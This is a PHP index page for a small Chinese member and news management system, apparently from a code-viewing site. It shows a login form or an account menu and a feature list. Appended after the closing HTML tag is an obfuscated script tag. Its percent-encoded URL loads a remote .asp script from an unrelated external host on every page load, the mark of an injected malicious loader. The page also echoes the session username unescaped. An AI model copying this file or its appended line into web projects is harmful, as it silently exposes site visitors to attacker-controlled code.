📄 index.php
字号:
<?php
error_reporting(0);
include("header.inc.php");
session_start();
?>
<table id="content">
<tr>
<?php
if(!$_SESSION["userid"]) {
?>
<td id="sidebar-left"><div class="block block-user" id="block-user-0">
<h2 class="title">用户登录</h2>
<div class="content"><form action="login.php" method="post" id="user-login-form">
<div><div class="form-item">
<label for="edit-name">用户名: <span class="form-required" title="This field is required.">*</span></label>
<input type="text" maxlength="60" name="edit[name]" id="edit-name" size="15" value="" class="form-text required" />
</div>
<div class="form-item">
<label for="edit-pass">密码: <span class="form-required" title="This field is required.">*</span></label>
<input type="password" maxlength="" name="edit[pass]" id="edit-pass" size="15" class="form-text required" />
</div>
<input type="submit" name="op" value="登录" class="form-submit" />
<div class="item-list"><ul><li><a href="register.php" title="建立一个新的用户帐号">注册新帐号</a></li></ul></div>
</div></form>
</div>
</div>
</td>
<?php
}else{
?>
<td id="sidebar-left"><div class="block block-user" id="block-user-1">
<h2 class="title"><?php echo $_SESSION["username"]; ?></h2>
<div class="content">
<ul class="menu">
<li class="leaf"><a href="account.php" class="active">我的帐户</a></li>
<li class="leaf"><a href="admin.php" >用户列表</a></li>
<li class="leaf"><a href="logout.php">注销登录</a></li>
</ul>
</div>
</div>
</td>
<?php
}
?>
<td id="main">
<!-- begin content -->
<div id="first-time">
<h1 class="title">欢迎使用新闻管理系统</h1>
<p>本例中的会员系统主要功能有以下几点:</p>
<ol>
<li>
<strong>会员注册</strong>
</li>
<li>
<strong>会员资料修改</strong>
</li>
<li>
<strong>会员信息查询</strong>
</li>
<li>
<strong>管理员注册</strong>
</li>
<li>
<strong>管理员登陆及管理</strong>
</li>
</ol>
<!-- end content -->
</td>
</tr>
</table>
</body>
</html>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -